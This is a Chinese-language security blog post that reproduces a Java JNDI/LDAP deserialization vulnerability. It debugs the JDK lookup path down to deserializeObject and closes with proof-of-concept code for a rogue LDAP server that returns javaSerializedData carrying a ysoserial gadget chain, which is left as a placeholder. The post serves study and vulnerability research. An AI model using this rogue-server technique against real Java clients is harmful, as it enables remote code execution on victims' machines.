LDAP反序列化

admin 2024年3月5日11:32:34评论12 views字数 9728阅读32分25秒阅读模式

0x01 前言

最近又回顾了一下LDAP反序列化漏洞,之前没有做笔记,借着这次机会补上,从漏洞复现角度出发,学习漏洞原理。

0x02 漏洞分析

01 环境搭建

老样子,我们先来搭建复现需要的环境,新建一个空的maven项目,导入依赖

<dependencies>        <dependency>            <groupId>com.unboundid</groupId>            <artifactId>unboundid-ldapsdk</artifactId>            <version>4.0.9</version>            <scope>test</scope>        </dependency>        <dependency>            <groupId>com.unboundid</groupId>            <artifactId>unboundid-ldapsdk</artifactId>            <version>4.0.9</version>            <scope>compile</scope>        </dependency>        <dependency>            <groupId>com.alibaba</groupId>            <artifactId>fastjson</artifactId>            <version>1.2.47</version>        </dependency>    </dependencies>

这里需要用到com.unboundid包,它可以用来创建一个测试的ldap服务及客户端,服务端代码如下

package ldaptest;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchRequest;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.*;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.IOException;import java.net.InetAddress;import java.net.UnknownHostException;public class LdapServer2 {    public static void main(String[] args) {        doit();    }    private static void doit() {        try {            // 创建配置类            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=test,dc=com");            // 添加自定义配置            config.setListenerConfigs(new InMemoryListenerConfig(                    "TestListen",                    InetAddress.getByName("0.0.0.0"),                    1899,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory)SSLSocketFactory.getDefault()            ));            // 添加自定义拦截器TestOperationInterceptor            config.addInMemoryOperationInterceptor(new TestOperationInterceptor());            // 创建服务类            InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);            // 启动服务类            server.startListening();            System.out.println("ldap 服务已启动,port: " + server.getListenPort());            System.in.read();            server.shutDown(true);        } catch (LDAPException e) {            e.printStackTrace();        } catch (UnknownHostException e) {            e.printStackTrace();        } catch (IOException e) {            e.printStackTrace();        }    }    private static class TestOperationInterceptor extends InMemoryOperationInterceptor {        @Override        public void processSearchResult(InMemoryInterceptedSearchResult result) {            System.out.println("被拦截,方法 processSearchResult");            try {                // 发送Entry 项                Entry entry = new Entry("dc=test,dc=com");                entry.addAttribute(new Attribute("name", "whatever"));                entry.addAttribute(new Attribute("age", "18"));                result.sendSearchEntry(entry);                result.setResult(new LDAPResult(result.getMessageID(), ResultCode.SUCCESS));            } catch (LDAPException e) {                e.printStackTrace();            }            super.processSearchResult(result);        }        @Override        public void processSearchRequest(InMemoryInterceptedSearchRequest request) throws LDAPException {            System.out.println("被拦截,方法processSearchRequest");            super.processSearchRequest(request);        }    }}

客户端代码如下

package ldaptest;import com.unboundid.ldap.sdk.*;public class LDAPClient {    public static void main(String[] args) {        // 连接到LDAP服务器的端口,确保与服务端打印的端口一致        int ldapPort = 1899;        try (LDAPConnection connection = new LDAPConnection("127.0.0.1", ldapPort)) {            SearchResult result = connection.search(                    "dc=example,dc=com",  // 基于搜索的DN                    SearchScope.SUB,      // 搜索范围                    "(objectClass=*)"     // 搜索过滤器,搜索所有对象            );            if (result.getEntryCount() == 0) {                System.out.println("No entries found.");            } else {                for (SearchResultEntry entry : result.getSearchEntries()) {                    System.out.println(entry);                    System.out.println(entry.toLDIFString());                }            }        } catch (LDAPException e) {            e.printStackTrace();        }    }}

启动服务端

LDAP反序列化

执行客户端,发起ldap查询请求,打印结果

LDAP反序列化

至此初步环境就搭建好了

这里要简单解释一下服务端类

private static class TestOperationInterceptor extends InMemoryOperationInterceptor {        @Override        public void processSearchResult(InMemoryInterceptedSearchResult result) {            System.out.println("被拦截,方法 processSearchResult");            try {                // 发送Entry 项                Entry entry = new Entry("dc=test,dc=com");                entry.addAttribute(new Attribute("name", "whatever"));                entry.addAttribute(new Attribute("age", "18"));                result.sendSearchEntry(entry);                result.setResult(new LDAPResult(result.getMessageID(), ResultCode.SUCCESS));            } catch (LDAPException e) {                e.printStackTrace();            }            super.processSearchResult(result);        }        @Override        public void processSearchRequest(InMemoryInterceptedSearchRequest request) throws LDAPException {            System.out.println("被拦截,方法processSearchRequest");            super.processSearchRequest(request);        }    }

这里的自定义拦截器类,是用来拦截ldap查询请求,可以修改返回结果,将结果修改成我们自定义的任意值,类似于spring boot的拦截器,每次请求时都会触发,这在后面漏洞利用的时候也起到了很大的作用。

02 LDAP前置知识

LDAP 的全称是 Lightweight Directory Access Protocol,「轻量目录访问协议」,它是基于X.500标准的轻量级目录访问协议。

目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。

我们主要要了解的就是他的一些名词

Entry 项

在用户目录中,看到的每一行,都可以叫做一项,不论是叶子节点还是中间的节点,也叫做条目

LDAP反序列化

项包含一个 DN,一些属性,一些对象类。

LDAP反序列化

dn(Distinguished Name)分辨名

dn 如下图白色方框中的内容,「分辨名」用于唯一标识一个「项」,以及他在目录信息树中的位置。可以和文件系统中文件路径类比。类似于关系型数据库中的主键。dn 字符串从左向右,各组成部分依次向树根靠近。

LDAP反序列化

rdn(Relative Distinguished Name)相对分辨名

Rdn 就是「键值对」,如下图黄色方框中的内容。dn 由若干个 rdn 组成,以逗号分隔。

LDAP反序列化

dc(Domain Component)(域名组成)

example.com变成dc=example,dc=com(一条记录的所属位置)

这里列举了文中需要了解的名词,更详细的可以看参考链接文章

03 调试分析

接下来我们就要调试分析代码了,这里我会先从正常执行流程分析,然后解释为何会产生漏洞

我们需要新建一个类,代码如下

package ldaptest;import javax.naming.Context;import javax.naming.InitialContext;public class CLIENT {    public static void main(String[] args) throws Exception {        String uri = "ldap://127.0.0.1:1899/123";        Context ctx = new InitialContext();        ctx.lookup(uri);    }}

这就是直接使用jdk自带的jndi的接口调用lookup,向ldap服务端发起请求,服务端保持开启状态,在11行打上断点

LDAP反序列化

跟入lookup方法

LDAP反序列化

这里分为两步,第一步是根据传入的uri获取对应的协议上下文对象,然后再调用该对象的lookup方法,我们先走第一步

LDAP反序列化

先是判断是否有初始化工厂构造器,没有之后,往下获取协议头ldap,调用NamingManager.getURLContext(scheme, myProps)方法,继续跟入

LDAP反序列化

调用getURLObject(scheme, null, null, null, environment)获取对象,之后返回对象,跟入该方法

LDAP反序列化

可以看到通过类加载的方式,将com.sun.jndi.url.ldap.ldapURLContextFactory加载进内存,实例化返回

LDAP反序列化

之后调用factory.getObjectInstance(urlInfo, name, nameCtx, environment)方法,并返回

LDAP反序列化

最后返回ldapURLContext对象,这里感兴趣的童鞋可以跟着完整调试一遍,回到lookup方法

LDAP反序列化

继续跟入

LDAP反序列化

继续跟入

LDAP反序列化

继续跟入

LDAP反序列化

继续跟入

LDAP反序列化

这里对请求的uri进行解析,然后实例化com.sun.jndi.ldap.LdapCtx对象,最后封装到javax.naming.spi.ResolveResult对象中

LDAP反序列化

LDAP反序列化

回到上一层lookup方法

LDAP反序列化

获取封装在ResolveResult中的LdapCtx对象,调用lookup方法,传入dn

LDAP反序列化

跟入lookup方法

LDAP反序列化

到这里就离漏洞触发点不远了,将LdapCtx对象赋值给var2,var1也就是dn赋值给var6,然后调用com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup方法,跟入

LDAP反序列化

这里先根据dn解析出head和tail,状态码设置为2,然后会调用this.c_lookup(var4.getHead(), var2),跟入

LDAP反序列化

这里调用this.doSearchOnce(var1, "(objectClass=*)", var22, true)方法,从ldap服务端中搜索所有对象,获取结果集,也就是服务端中定义的entry对象

LDAP反序列化

继续往下走

LDAP反序列化

这里会先将entry中的属性取出来,赋值给var4,然后进入下面的if判断,如果符合条件,则调用Obj.decodeObject((Attributes)var4)

我们先看一下Obj.JAVA_ATTRIBUTES数组中有哪些属性

LDAP反序列化

这里很显然我们的entry不满足该条件,不过Obj.decodeObject方法就是触发漏洞的关键所在,我们直接ctrl点进去看看

LDAP反序列化

当entry包含JAVA_ATTRIBUTES[1]的时候,调用deserializeObject((byte[])((byte[])var1.get()), var3),来看一下JAVA_ATTRIBUTES数组

LDAP反序列化

可以看到下标为1的属性值是javaSerializedData,我们现在假设满足该条件,这里 (byte[])((byte[])var1.get()) 是获取属性名为javaSerializedData时的属性值,ctrl点进deserializeObject方法

LDAP反序列化

到这里就一目了然了,var0是属性名为javaSerializedData时的属性值,对其进行了反序列化操作,这也就是漏洞产生的导火索

04 构造POC

回顾前面分析的,如果我们的entry要进入到最后反序列化的环节,需要满足以下两个条件

  • ((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null,也就是entry的属性中得包含这样的键值对:new Attribute("javaClassName", "com.test")

  • (var1 = var0.get(JAVA_ATTRIBUTES[1])) != null,也就是entry的属性中还得包含这样的键值对:new Attribute("javaSerializedData", byte数组)

这么看下来,因为entry返回的结果是我们伪造的服务端可控的,所以,这两个条件我们完全可以实现

修改后的服务端代码如下

package ldaptest;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchRequest;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.*;import com.unboundid.util.Base64;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.IOException;import java.net.InetAddress;import java.net.UnknownHostException;import java.text.ParseException;public class LdapServer2 {    public static void main(String[] args) {        doit();    }    private static void doit() {        try {            // 创建配置类            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=test,dc=com");            // 添加自定义配置            config.setListenerConfigs(new InMemoryListenerConfig(                    "TestListen",                    InetAddress.getByName("0.0.0.0"),                    1899,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory)SSLSocketFactory.getDefault()            ));            // 添加自定义拦截器TestOperationInterceptor            config.addInMemoryOperationInterceptor(new TestOperationInterceptor());            // 创建服务类            InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);            // 启动服务类            server.startListening();            System.out.println("ldap 服务已启动,port: " + server.getListenPort());            System.in.read();            server.shutDown(true);        } catch (LDAPException e) {            e.printStackTrace();        } catch (UnknownHostException e) {            e.printStackTrace();        } catch (IOException e) {            e.printStackTrace();        }    }    private static class TestOperationInterceptor extends InMemoryOperationInterceptor {        @Override        public void processSearchResult(InMemoryInterceptedSearchResult result) {            System.out.println("被拦截,方法 processSearchResult");            try {                // 发送Entry 项                Entry entry = new Entry("dc=test,dc=com");                /*entry.addAttribute(new Attribute("name", "whatever"));                entry.addAttribute(new Attribute("age", "18"));*/                entry.addAttribute(new Attribute("javaClassName", "whatever"));                entry.addAttribute(new Attribute("javaSerializedData", Base64.decode("evalClass_base64")));                result.sendSearchEntry(entry);                result.setResult(new LDAPResult(result.getMessageID(), ResultCode.SUCCESS));            } catch (LDAPException e) {                e.printStackTrace();            } catch (ParseException e) {                e.printStackTrace();            }            super.processSearchResult(result);        }        @Override        public void processSearchRequest(InMemoryInterceptedSearchRequest request) throws LDAPException {            System.out.println("被拦截,方法processSearchRequest");            super.processSearchRequest(request);        }    }}

这里的evalClass_base64就是ysoserial生成的链子,然后读写成base64字符串,主要是方便读取执行,也可以用我上一篇讲的FastJson原生链生成base64测试

0x03 总结

本次技术含量不高,只是复现留做笔记,给我的感觉是,正向复现分析漏洞其实不是最难的,难的是逆向分析还原到构造poc,向大佬们致敬!

0x04 参考文章

LDAP协议(轻量目录访问协议)简介

https://syxdevcode.github.io/2022/04/17/LDAP%E5%8D%8F%E8%AE%AE%EF%BC%88%E8%BD%BB%E9%87%8F%E7%9B%AE%E5%BD%95%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE%EF%BC%89%E7%AE%80%E4%BB%8B/

原文始发于微信公众号(伟盾网络安全):LDAP反序列化

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月5日11:32:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LDAP反序列化https://cn-sec.com/archives/2544604.html

发表评论

匿名网友 填写信息